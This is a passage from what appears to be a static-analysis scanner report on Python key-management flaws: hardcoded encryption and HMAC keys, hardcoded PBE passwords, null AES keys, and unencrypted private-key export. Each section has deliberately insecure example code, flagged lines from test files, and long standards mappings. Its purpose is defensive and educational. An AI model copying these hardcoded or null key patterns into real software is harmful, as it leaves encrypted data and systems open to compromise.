[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements, 2.7.1 Out of Band Verifier Requirements, 2.7.2 Out of Band Verifier Requirements, 2.7.3 Out of Band Verifier Requirements, 2.8.4 Single or Multi Factor One Time Verifier Requirements, 2.8.5 Single or Multi Factor One Time Verifier Requirements, 2.9.1 Cryptographic Software and Devices Verifier Requirements, 2.10.2 Service Authentication Requirements, 2.10.4 Service Authentication Requirements, 3.5.2 Token-based Session Management, 3.7.1 Defenses Against Session Management Exploits, 6.2.1 Algorithms, 6.4.1 Secret Management, 6.4.2 Secret Management, 9.2.3 Server Communications Security Requirements, 10.2.3 Malicious Code Search
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[23] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[25] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[26] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I

[32] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[45] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)

Key Management: Hardcoded Encryption Key

Description

Hardcoded encryption keys could compromise system security in a way that cannot be easily remedied.

Explanation

It is never a good idea to hardcode an encryption key. Not only does hardcoding an encryption key allow all of the project's developers to view the encryption key, it also makes fixing the problem extremely difficult. After the code is in production, a software patch is required to change the encryption key. If the account protected by the encryption key is compromised, the owners of the system must choose between security and availability. Example: The following code uses a hardcoded encryption key to encrypt information:

```
...
from Crypto.Ciphers import AES
encryption_key = b'_hardcoded__key_'
```

```
    cipher = AES.new(encryption_key, AES.MODE_CFB, iv)
    msg = iv + cipher.encrypt(b'Attack at dawn')
    ...
```

This code will run successfully, but anyone who has access to it will have access to the encryption key. After the program ships, there is likely no way to change the hardcoded encryption key _hardcoded__key_ unless the program is patched. A devious employee with access to this information can use it to compromise data encrypted by the system.

Severity

High

Vulnerabilities

File tests\Key_Management__Hardcoded_Encryption_Key.py, Line 2, Pos 1

```
encryption_key = b'_hardcoded__key_'
```

File tests\Key_Management__Hardcoded_Encryption_Key.py, Line 3, Pos 10

```
cipher = AES.new("asdasd", AES.MODE_CFB, iv)
```

Recommendations

- Prevention schemes mirror that of hard-coded password storage.

Links

[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[5] Standards Mapping - FIPS200 IA
[6] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management
[9] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[10] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[11] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[12] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[13] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements, 2.7.1 Out of Band Verifier Requirements, 2.7.2 Out of Band Verifier Requirements, 2.7.3 Out of Band Verifier Requirements, 2.8.4 Single or Multi Factor One Time Verifier Requirements, 2.8.5 Single or Multi Factor One Time Verifier Requirements, 2.9.1 Cryptographic Software and Devices Verifier Requirements, 2.10.2 Service Authentication Requirements, 2.10.4 Service Authentication Requirements, 3.5.2 Token-based Session

Management, 3.7.1 Defenses Against Session Management Exploits, 6.2.1 Algorithms, 6.4.1 Secret Management, 6.4.2 Secret Management, 9.2.3 Server Communications Security Requirements, 10.2.3 Malicious Code Search
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[23] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[25] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[26] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[27] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[28] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II

[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[47] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)

Key Management: Hardcoded HMAC Key

Description

Hardcoded HMAC keys could compromise system security in a way that cannot be easily remedied.

Explanation

It is never a good idea to hardcode an HMAC key. The cryptographic strength of HMAC depends on the confidentiality of the secret key, which is used for the calculation and verification of the message authentication values. Hardcoding an HMAC key allows anyone with access to the source to view it, and undermines the cryptographic strength of the function.

Example 1: The following code uses a hardcoded key to compute the HMAC:

```
import hmac
...
mac = hmac.new("secret", plaintext).hexdigest()
...
```

This code will run successfully, but anyone who has access to it will have access to the HMAC key. After the program ships, there is likely no way to change the hardcoded HMAC key "secret" unless the program is patched. A devious employee with access to this information could use it to compromise the HMAC function.

Severity

High

Vulnerabilities

File tests\Key_Management__Hardcoded_HMAC_Key.py, Line 3, Pos 7

```
mac = hmac.new("secret", plaintext).hexdigest()
```

File tests\Key_Management__Hardcoded_HMAC_Key.py, Line 5, Pos 8

```
test = hmac.digest("secret", param2, param3)
```

Recommendations

- Prevention schemes mirror that of hard-coded password storage.

Links

[1] RFC 2104 - HMAC: Keyed-Hashing for Message Authentication Internet Engineering Task Force (IETF) (http://www.ietf.org/rfc/rfc2104.txt)
[2] New Results on NMAC/HMAC when Instantiated with Popular Hash Functions Journal of Universal Computer Science (J.UCS) (http://www.jucs.org/jucs_14_3/new_results_on_nmac/jucs_14_3_0347_0376_rechberger.pdf)
[3] Standards Mapping - Common Weakness Enumeration CWE ID 321
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[6] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[7] Standards Mapping - FIPS200 IA
[8] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[9] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1)
[10] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management
[11] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[12] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[13] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[14] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[15] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[16] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[17] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements, 2.7.1 Out of Band Verifier Requirements, 2.7.2 Out of Band Verifier Requirements, 2.7.3 Out of Band Verifier Requirements, 2.8.4 Single or Multi Factor One Time Verifier Requirements, 2.8.5 Single or Multi Factor One Time Verifier Requirements, 2.9.1 Cryptographic Software and Devices Verifier Requirements, 2.10.2 Service Authentication Requirements, 2.10.4 Service Authentication Requirements, 3.5.2 Token-based Session Management, 3.7.1 Defenses Against Session Management Exploits, 6.2.1 Algorithms, 6.4.1 Secret Management, 6.4.2 Secret Management, 9.2.3 Server Communications Security Requirements, 10.2.3 Malicious Code Search
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4

[19] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[23] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[25] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[26] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[27] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[28] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[29] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[30] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[36] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[37] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II

[43] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[47] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[48] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[49] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)

Key Management: Hardcoded PBE Password

Description

Using a key generated by a password-based key derivation function that was passed a hardcoded value for its password argument may compromise system security in a way that cannot be easily remedied.

Explanation

It is never a good idea to pass a hardcoded value as the password argument to a cryptographic password-based key derivation function. In this scenario, the resulting derived key will be based mostly on the provided salt (rendering it significantly weaker), and fixing the problem is extremely difficult. After the offending code is in production, the hardcoded password often cannot be changed without patching the software. If an account protected by a derived key based on a hardcoded password is compromised, the owners of the system may be forced to choose between security and availability.

Example 1: The following code passes a hardcoded value as the password argument to a cryptographic password-based key derivation function:

```
from hashlib import pbkdf2_hmac
...
dk = pbkdf2_hmac('sha256', 'password', salt, 100000)
...
```

Not only will anyone who has access to the code be able to determine that it generates one or more cryptographic keys based on a hardcoded password argument, but anyone with even basic cracking techniques is much more likely to successfully gain access to any resources protected by the offending keys. If an attacker also has access to the salt value used to generate any of the keys based on a hardcoded password, cracking those keys becomes trivial. After the program ships, there is likely no way to change the hardcoded password unless the program is patched. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of a hardcoded password.

Severity

High

Vulnerabilities

File tests\Key_Management__Hardcoded_PBE_Password.py, Line 3, Pos 6

```
dk = pbkdf2_hmac('sha256', 'password', salt, 100000)
```

Recommendations

- Prevention schemes mirror that of hard-coded password storage.

Links

[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[5] Standards Mapping - FIPS200 IA
[6] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management
[9] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[10] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[11] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[12] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[13] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements, 2.7.1 Out of Band Verifier Requirements, 2.7.2 Out of Band Verifier Requirements, 2.7.3 Out of Band Verifier Requirements, 2.8.4 Single or Multi Factor One Time Verifier Requirements, 2.8.5 Single or Multi Factor One Time Verifier Requirements, 2.9.1 Cryptographic Software and Devices Verifier Requirements, 2.10.2 Service Authentication Requirements, 2.10.4 Service Authentication Requirements, 3.5.2 Token-based Session Management, 3.7.1 Defenses Against Session Management Exploits, 6.2.1 Algorithms, 6.4.1 Secret Management, 6.4.2 Secret Management, 9.2.3 Server Communications Security Requirements, 10.2.3 Malicious Code Search
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4

[18] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[23] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[25] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[26] Standards Mapping - SANS Top 25 2010 Porous Defenses - CWE ID 798
[27] Standards Mapping - SANS Top 25 2011 Porous Defenses - CWE ID 798
[28] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[34] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[35] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II

[42] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[44] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[45] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II
[46] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[47] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)

Key Management: Null Encryption Key

Description

Null encryption keys can compromise security in a way that cannot be easily remedied.

Explanation

Assigning None to encryption key variables is a bad idea because it can allow attackers to expose sensitive and encrypted information. Not only does using a null encryption key significantly reduce the protection afforded by a good encryption algorithm, but it also makes fixing the problem extremely difficult. After the offending code is in production, a software patch is required to change the null encryption key. If an account protected by the null encryption key is compromised, the owners of the system must choose between security and availability.

Example: The following code initializes an encryption key variable to null.

```
...
from Crypto.Ciphers import AES
cipher = AES.new(None, AES.MODE_CFB, iv)
msg = iv + cipher.encrypt(b'Attack at dawn')
...
```

Anyone who has access to the code would be able to determine that it uses a null encryption key, and anyone employing even basic cracking techniques is much more likely to successfully decrypt any encrypted data. After the program ships, a software patch is required to change the null encryption key. An employee with access to this information can use it to break into the system. Even if attackers only had access to the application's executable, they could extract evidence of the use of a null encryption key.

Severity

High

Vulnerabilities

File tests\Key_Management__Null_Encryption_Key.py, Line 2, Pos 10

```
2 cipher = AES.new(None, AES.MODE_CFB, iv)
```

File tests\Key_Management__Null_Encryption_Key.py, Line 5, Pos 1

```
5 my_key = None
```

Recommendations

- Prevention schemes mirror that of hard-coded password storage.

Links

[1] Standards Mapping - Common Weakness Enumeration CWE ID 321
[2] Standards Mapping - Common Weakness Enumeration Top 25 2019 [13] CWE ID 287, [19] CWE ID 798
[3] Standards Mapping - Common Weakness Enumeration Top 25 2020 [14] CWE ID 287, [20] CWE ID 798
[4] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-002450
[5] Standards Mapping - FIPS200 IA
[6] Standards Mapping - General Data Protection Regulation (GDPR) Insufficient Data Protection
[7] Standards Mapping - NIST Special Publication 800-53 Revision 4 SC-12 Cryptographic Key Establishment and Management (P1)
[8] Standards Mapping - NIST Special Publication 800-53 Revision 5 SC-12 Cryptographic Key Establishment and Management
[9] Standards Mapping - OWASP Top 10 2004 A8 Insecure Storage
[10] Standards Mapping - OWASP Top 10 2007 A8 Insecure Cryptographic Storage
[11] Standards Mapping - OWASP Top 10 2010 A7 Insecure Cryptographic Storage
[12] Standards Mapping - OWASP Top 10 2013 A6 Sensitive Data Exposure
[13] Standards Mapping - OWASP Top 10 2017 A3 Sensitive Data Exposure
[14] Standards Mapping - OWASP Mobile 2014 M6 Broken Cryptography
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 2.6.3 Look-up Secret Verifier Requirements, 2.7.1 Out of Band Verifier Requirements, 2.7.2 Out of Band Verifier Requirements, 2.7.3 Out of Band Verifier Requirements, 2.8.4 Single or Multi Factor One Time Verifier Requirements, 2.8.5 Single or Multi Factor One Time Verifier Requirements, 2.9.1 Cryptographic Software and Devices Verifier Requirements, 2.10.2 Service Authentication Requirements, 2.10.4 Service Authentication Requirements, 3.5.2 Token-based Session Management, 3.7.1 Defenses Against Session Management Exploits, 6.2.1 Algorithms, 6.4.1 Secret Management, 6.4.2 Secret Management, 9.2.3 Server Communications Security Requirements, 10.2.3 Malicious Code Search
[16] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.8, Requirement 8.4
[17] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.3, Requirement 6.5.8, Requirement 8.4
[18] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.4
[19] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[20] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1

[21] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[22] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.3.1, Requirement 6.5.3, Requirement 8.2.1
[23] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 7.2 - Use of Cryptography
[24] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 7.2 - Use of Cryptography, Control Objective B.2.3 - Terminal Software Design
[25] Standards Mapping - SANS Top 25 2009 Porous Defenses - CWE ID 259
[26] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3210.1 CAT II, APP3350 CAT I
[27] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3210.1 CAT II, APP3350 CAT I
[28] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3210.1 CAT II, APP3350 CAT I
[29] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3210.1 CAT II, APP3350 CAT I
[30] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3210.1 CAT II, APP3350 CAT I
[31] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3210.1 CAT II, APP3350 CAT I
[32] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3210.1 CAT II, APP3350 CAT I
[33] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002010 CAT II
[34] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002010 CAT II
[35] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002010 CAT II
[36] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002010 CAT II
[37] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002010 CAT II
[38] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002010 CAT II
[39] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002010 CAT II
[40] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002010 CAT II
[41] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002010 CAT II
[42] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002010 CAT II
[43] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002010 CAT II

[44] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002010 CAT II
[45] Standards Mapping - Web Application Security Consortium Version 2.00 Information Leakage (WASC-13)

Key Management: Unencrypted Private Key

Description

Cryptographic encryption or signing private keys should not be stored in plain text.

Explanation

Private keys used for encryption or signing should be considered sensitive data and should be encrypted with a strong passphrase prior to storage. This prevents unauthorized access by both attackers in the event of theft or a leak, as well as by users with insufficient permissions.

Example 1: The following code exports an RSA private key using an unencrypted PEM format:

```
from Crypto.PublicKey import RSA
key = RSA.generate(2048)
f = open('mykey.pem','w')
f.write(key.exportKey(format='PEM'))
f.close()
```

Severity

High

Vulnerabilities

File tests\Key_Management__Unencrypted_Private_Key.py, Line 4, Pos 9
```
4 f.write(key.exportKey(format='PEM'))
```
File tests\Key_Management__Unencrypted_Private_Key.py, Line 5, Pos 9
```
5 f.write(key.exportKey())
```
File tests\Key_Management__Unencrypted_Private_Key.py, Line 6, Pos 9
```
6 f.write(key.export_key(format='PEM'))
```
File tests\Key_Management__Unencrypted_Private_Key.py, Line 7, Pos 9
```
7 f.write(key.export_key())
```

Recommendations

- Prevention schemes mirror that of hard-coded password storage.

Links

